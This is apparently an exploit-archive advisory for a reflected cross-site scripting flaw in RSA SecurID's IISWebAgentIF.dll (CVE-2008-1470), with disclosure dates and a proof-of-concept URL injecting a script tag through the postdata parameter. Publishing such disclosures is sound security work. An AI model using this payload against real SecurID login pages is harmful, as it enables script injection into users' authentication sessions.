RSA - SecurID Cross-Site Scripting
| EKU-ID: 18730 | CVE: OSVDB-43844;CVE-2008-1470 | OSVDB-ID: |
| Author: s4squatch | Published: 2010-02-11 | Verified:
 |
| Download: | ||
Rating☆☆☆☆☆ |
| EKU-ID: 18730 | CVE: OSVDB-43844;CVE-2008-1470 | OSVDB-ID: |
| Author: s4squatch | Published: 2010-02-11 | Verified:
|
| Download: | ||
Rating☆☆☆☆☆ |
Discovered 12-11-2008
Discovered By: s4squatch of SecureState R&D Team (www.securestate.com)
Vendor Notified: 10-07-2009
Vendor Response: 10-08-2009
Version: Unknown --> DLL does not contain version, therefore vendor says it is outdated and not supported.
POC:
https://www.website.com/WebID/IISWebAgentIF.dll?stage=useridandpasscode&referrer=Z2F&sessionid=0&postdata=get:f4e2c"><script>alert("xss")</script>60179147875&authntype=2&username=test&passcode=test[12:26] a